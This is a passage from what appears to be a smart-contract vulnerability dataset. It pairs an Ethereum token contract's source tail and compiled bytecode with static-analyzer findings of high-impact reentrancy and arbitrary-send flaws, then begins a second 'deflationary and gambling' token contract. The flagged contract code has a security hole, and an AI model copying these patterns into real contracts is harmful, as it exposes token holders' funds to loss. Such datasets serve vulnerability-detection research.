function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010c5760003560e01c80636fc3eaec1161009557806395d89b411161006457806395d89b411461033b578063a9059cbb14610366578063c3c8cd80146103a3578063d543dbeb146103ba578063dd62ed3e146103e357610113565b80636fc3eaec146102a557806370a08231146102bc578063715018a6146102f95780638da5cb5b1461031057610113565b806323b872dd116100dc57806323b872dd146101d4578063293230b814610211578063313ce567146102285780635932ead1146102535780636b9990531461027c57610113565b8062b8cf2a1461011857806306fdde0314610141578063095ea7b31461016c57806318160ddd146101a957610113565b3661011357005b600080fd5b34801561012457600080fd5b5061013f600480360381019061013a91906129b9565b610420565b005b34801561014d57600080fd5b5061015661054a565b6040516101639190612e72565b60405180910390f35b34801561017857600080fd5b50610193600480360381019061018e9190612979565b610587565b6040516101a09190612e57565b60405180910390f35b3480156101b557600080fd5b506101be6105a5565b6040516101cb9190613014565b60405180910390f35b3480156101e057600080fd5b506101fb60048036038101906101f69190612926565b6105b5565b6040516102089190612e57565b60405180910390f35b34801561021d57600080fd5b5061022661068e565b005b34801561023457600080fd5b5061023d610be8565b60405161024a9190613089565b60405180910390f35b34801561025f57600080fd5b5061027a60048036038101906102759190612a02565b610bf1565b005b34801561028857600080fd5b506102a3600480360381019061029e919061288c565b610ca3565b005b3480156102b157600080fd5b506102ba610d93565b005b3480156102c857600080fd5b506102e360048036038101906102de919061288c565b610e05565b6040516102f09190613014565b60405180910390f35b34801561030557600080fd5b5061030e610e56565b005b34801561031c57600080fd5b50610325610fa9565b6040516103329190612d89565b60405180910390f35b34801561034757600080fd5b50610350610fd2565b60405161035d9190612e72565b60405180910390f35b34801561037257600080fd5b5061038d60048036038101906103889190612979565b61100f565b60405161039a9190612e57565b60405180910390f35b3480156103af57600080fd5b506103b861102d565b005b3480156103c657600080fd5b506103e160048036038101906103dc9190612a5c565b6110a7565b005b3480156103ef57600080fd5b5061040a600480360381019061040591906128e6565b6111ef565b6040516104179190613014565b60405180910390f35b610428611276565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104b5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104ac90612f74565b60405180910390fd5b60005b8151811015610546576001600a60008484815181106104da576104d96133d1565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061053e9061332a565b9150506104b8565b5050565b60606040518060400160405280600781526020017f5348494255544f00000000000000000000000000000000000000000000000000815250905090565b600061059b610594611276565b848461127e565b6001905092915050565b6000670de0b6b3a7640000905090565b60006105c2848484611449565b610683846105ce611276565b61067e8560405180606001604052806028815260200161379060289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610634611276565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c089092919063ffffffff16565b61127e565b600190509392505050565b610696611276565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610723576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161071a90612f74565b60405180910390fd5b600f60149054906101000a900460ff1615610773576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161076a90612eb4565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061080230600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16670de0b6b3a764000061127e565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561084857600080fd5b505afa15801561085c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061088091906128b9565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156108e257600080fd5b505afa1580156108f6573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061091a91906128b9565b6040518363ffffffff1660e01b8152600401610937929190612da4565b602060405180830381600087803b15801561095157600080fd5b505af1158015610965573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061098991906128b9565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1230610e05565b600080610a1d610fa9565b426040518863ffffffff1660e01b8152600401610a3f96959493929190612df6565b6060604051808303818588803b158015610a5857600080fd5b505af1158015610a6c573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610a919190612a89565b5050506001600f60166101000a81548160ff0219169083151502179055506000600f60176101000a81548160ff02191690831515021790555066470de4df8200006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b92929190612dcd565b602060405180830381600087803b158015610bac57600080fd5b505af1158015610bc0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610be49190612a2f565b5050565b60006009905090565b610bf9611276565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c86576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c7d90612f74565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b610cab611276565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d2f90612f74565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610dd4611276565b73ffffffffffffffffffffffffffffffffffffffff1614610df457600080fd5b6000479050610e0281611c6c565b50565b6000610e4f600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d67565b9050919050565b610e5e611276565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610eeb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ee290612f74565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600781526020017f5348494255544f00000000000000000000000000000000000000000000000000815250905090565b600061102361101c611276565b8484611449565b6001905092915050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661106e611276565b73ffffffffffffffffffffffffffffffffffffffff161461108e57600080fd5b600061109930610e05565b90506110a481611dd5565b50565b6110af611276565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461113c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113390612f74565b60405180910390fd5b6000811161117f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117690612f34565b60405180910390fd5b6111ad606461119f83670de0b6b3a764000061205d90919063ffffffff16565b6120d890919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e49190613014565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112e590612fd4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561135e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135590612ef4565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161143c9190613014565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b090612fb4565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611529576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152090612e94565b60405180910390fd5b6000811161156c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156390612f94565b60405180910390fd5b611574610fa9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e257506115b2610fa9565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4557600f60179054906101000a900460ff1615611815573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166457503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116be5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156117185750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181457600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661175e611276565b73ffffffffffffffffffffffffffffffffffffffff1614806117d45750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117bc611276565b73ffffffffffffffffffffffffffffffffffffffff16145b611813576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180a90612ff4565b60405180910390fd5b5b5b60105481111561182457600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118c85750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d157600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561197c5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d25750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ea5750600f60179054906101000a900460ff165b15611a8b5742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3a57600080fd5b601e42611a47919061314a565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9630610e05565b9050600f60159054906101000a900460ff16158015611b035750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b1b5750600f60169054906101000a900460ff165b15611b4357611b2981611dd5565b60004790506000811115611b4157611b4047611c6c565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bec5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bf657600090505b611c0284848484612122565b50505050565b6000838311158290611c50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c479190612e72565b60405180910390fd5b5060008385611c5f919061322b565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cbc6002846120d890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611ce7573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d386002846120d890919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d63573d6000803e3d6000fd5b5050565b6000600654821115611dae576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611da590612ed4565b60405180910390fd5b6000611db861214f565b9050611dcd81846120d890919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e0d57611e0c613400565b5b604051908082528060200260200182016040528015611e3b5781602001602082028036833780820191505090505b5090503081600081518110611e5357611e526133d1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611ef557600080fd5b505afa158015611f09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f2d91906128b9565b81600181518110611f4157611f406133d1565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fa830600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461127e565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161200c95949392919061302f565b600060405180830381600087803b15801561202657600080fd5b505af115801561203a573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207057600090506120d2565b6000828461207e91906131d1565b905082848261208d91906131a0565b146120cd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c490612f54565b60405180910390fd5b809150505b92915050565b600061211a83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217a565b905092915050565b806121305761212f6121dd565b5b61213b84848461220e565b80612149576121486123d9565b5b50505050565b600080600061215c6123eb565b9150915061217381836120d890919063ffffffff16565b9250505090565b600080831182906121c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121b89190612e72565b60405180910390fd5b50600083856121d091906131a0565b9050809150509392505050565b60006008541480156121f157506000600954145b156121fb5761220c565b600060088190555060006009819055505b565b6000806000806000806122208761244a565b95509550955095509550955061227e86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124b290919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231385600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fc90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061235f8161255a565b6123698483612617565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123c69190613014565b60405180910390a3505050505050505050565b6005600881905550600a600981905550565b600080600060065490506000670de0b6b3a7640000905061241f670de0b6b3a76400006006546120d890919063ffffffff16565b82101561243d57600654670de0b6b3a7640000935093505050612446565b81819350935050505b9091565b60008060008060008060008060006124678a600854600954612651565b925092509250600061247761214f565b9050600080600061248a8e8787876126e7565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124f483836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c08565b905092915050565b600080828461250b919061314a565b905083811015612550576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254790612f14565b60405180910390fd5b8091505092915050565b600061256461214f565b9050600061257b828461205d90919063ffffffff16565b90506125cf81600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124fc90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b61262c826006546124b290919063ffffffff16565b600681905550612647816007546124fc90919063ffffffff16565b6007819055505050565b60008060008061267d606461266f888a61205d90919063ffffffff16565b6120d890919063ffffffff16565b905060006126a76064612699888b61205d90919063ffffffff16565b6120d890919063ffffffff16565b905060006126d0826126c2858c6124b290919063ffffffff16565b6124b290919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612700858961205d90919063ffffffff16565b90506000612717868961205d90919063ffffffff16565b9050600061272e878961205d90919063ffffffff16565b905060006127578261274985876124b290919063ffffffff16565b6124b290919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278361277e846130c9565b6130a4565b905080838252602082019050828560208602820111156127a6576127a5613434565b5b60005b858110156127d657816127bc88826127e0565b8452602084019350602083019250506001810190506127a9565b5050509392505050565b6000813590506127ef8161374a565b92915050565b6000815190506128048161374a565b92915050565b600082601f83011261281f5761281e61342f565b5b813561282f848260208601612770565b91505092915050565b60008135905061284781613761565b92915050565b60008151905061285c81613761565b92915050565b60008135905061287181613778565b92915050565b60008151905061288681613778565b92915050565b6000602082840312156128a2576128a161343e565b5b60006128b0848285016127e0565b91505092915050565b6000602082840312156128cf576128ce61343e565b5b60006128dd848285016127f5565b91505092915050565b600080604083850312156128fd576128fc61343e565b5b600061290b858286016127e0565b925050602061291c858286016127e0565b9150509250929050565b60008060006060848603121561293f5761293e61343e565b5b600061294d868287016127e0565b935050602061295e868287016127e0565b925050604061296f86828701612862565b9150509250925092565b600080604083850312156129905761298f61343e565b5b600061299e858286016127e0565b92505060206129af85828601612862565b9150509250929050565b6000602082840312156129cf576129ce61343e565b5b600082013567ffffffffffffffff8111156129ed576129ec613439565b5b6129f98482850161280a565b91505092915050565b600060208284031215612a1857612a1761343e565b5b6000612a2684828501612838565b91505092915050565b600060208284031215612a4557612a4461343e565b5b6000612a538482850161284d565b91505092915050565b600060208284031215612a7257612a7161343e565b5b6000612a8084828501612862565b91505092915050565b600080600060608486031215612aa257612aa161343e565b5b6000612ab086828701612877565b9350506020612ac186828701612877565b9250506040612ad286828701612877565b9150509250925092565b6000612ae88383612af4565b60208301905092915050565b612afd8161325f565b82525050565b612b0c8161325f565b82525050565b6000612b1d82613105565b612b278185613128565b9350612b32836130f5565b8060005b83811015612b63578151612b4a8882612adc565b9750612b558361311b565b925050600181019050612b36565b5085935050505092915050565b612b7981613271565b82525050565b612b88816132b4565b82525050565b6000612b9982613110565b612ba38185613139565b9350612bb38185602086016132c6565b612bbc81613443565b840191505092915050565b6000612bd4602383613139565b9150612bdf82613454565b604082019050919050565b6000612bf7601a83613139565b9150612c02826134a3565b602082019050919050565b6000612c1a602a83613139565b9150612c25826134cc565b604082019050919050565b6000612c3d602283613139565b9150612c488261351b565b604082019050919050565b6000612c60601b83613139565b9150612c6b8261356a565b602082019050919050565b6000612c83601d83613139565b9150612c8e82613593565b602082019050919050565b6000612ca6602183613139565b9150612cb1826135bc565b604082019050919050565b6000612cc9602083613139565b9150612cd48261360b565b602082019050919050565b6000612cec602983613139565b9150612cf782613634565b604082019050919050565b6000612d0f602583613139565b9150612d1a82613683565b604082019050919050565b6000612d32602483613139565b9150612d3d826136d2565b604082019050919050565b6000612d55601183613139565b9150612d6082613721565b602082019050919050565b612d748161329d565b82525050565b612d83816132a7565b82525050565b6000602082019050612d9e6000830184612b03565b92915050565b6000604082019050612db96000830185612b03565b612dc66020830184612b03565b9392505050565b6000604082019050612de26000830185612b03565b612def6020830184612d6b565b9392505050565b600060c082019050612e0b6000830189612b03565b612e186020830188612d6b565b612e256040830187612b7f565b612e326060830186612b7f565b612e3f6080830185612b03565b612e4c60a0830184612d6b565b979650505050505050565b6000602082019050612e6c6000830184612b70565b92915050565b60006020820190508181036000830152612e8c8184612b8e565b905092915050565b60006020820190508181036000830152612ead81612bc7565b9050919050565b60006020820190508181036000830152612ecd81612bea565b9050919050565b60006020820190508181036000830152612eed81612c0d565b9050919050565b60006020820190508181036000830152612f0d81612c30565b9050919050565b60006020820190508181036000830152612f2d81612c53565b9050919050565b60006020820190508181036000830152612f4d81612c76565b9050919050565b60006020820190508181036000830152612f6d81612c99565b9050919050565b60006020820190508181036000830152612f8d81612cbc565b9050919050565b60006020820190508181036000830152612fad81612cdf565b9050919050565b60006020820190508181036000830152612fcd81612d02565b9050919050565b60006020820190508181036000830152612fed81612d25565b9050919050565b6000602082019050818103600083015261300d81612d48565b9050919050565b60006020820190506130296000830184612d6b565b92915050565b600060a0820190506130446000830188612d6b565b6130516020830187612b7f565b81810360408301526130638186612b12565b90506130726060830185612b03565b61307f6080830184612d6b565b9695505050505050565b600060208201905061309e6000830184612d7a565b92915050565b60006130ae6130bf565b90506130ba82826132f9565b919050565b6000604051905090565b600067ffffffffffffffff8211156130e4576130e3613400565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006131558261329d565b91506131608361329d565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319557613194613373565b5b828201905092915050565b60006131ab8261329d565b91506131b68361329d565b9250826131c6576131c56133a2565b5b828204905092915050565b60006131dc8261329d565b91506131e78361329d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132205761321f613373565b5b828202905092915050565b60006132368261329d565b91506132418361329d565b92508282101561325457613253613373565b5b828203905092915050565b600061326a8261327d565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132bf8261329d565b9050919050565b60005b838110156132e45780820151818401526020810190506132c9565b838111156132f3576000848401525b50505050565b61330282613443565b810181811067ffffffffffffffff8211171561332157613320613400565b5b80604052505050565b60006133358261329d565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561336857613367613373565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c72656164792073746172746564000000000000600082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b6137538161325f565b811461375e57600080fd5b50565b61376a81613271565b811461377557600080fd5b50565b6137818161329d565b811461378c57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212201a60f9fd45a3d42bb676f1758b26f5300bc97513cd21e083fa068468a8222d7e64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 8,063 |
0xd24c65a2307266de4f7eeda5c5124e18ed7b13ec
|
//---------------------------------------
// forked from x10 with fixed bug
// DEV :x20.finance
// X20 (x20.finance) is a deflationary and gambling token
// See https://github.com/IshikawaTravis/X10 for more info
pragma solidity ^0.6.0;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
contract Context {
constructor () internal { }
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this;
return msg.data;
}
}
interface IERC20 {
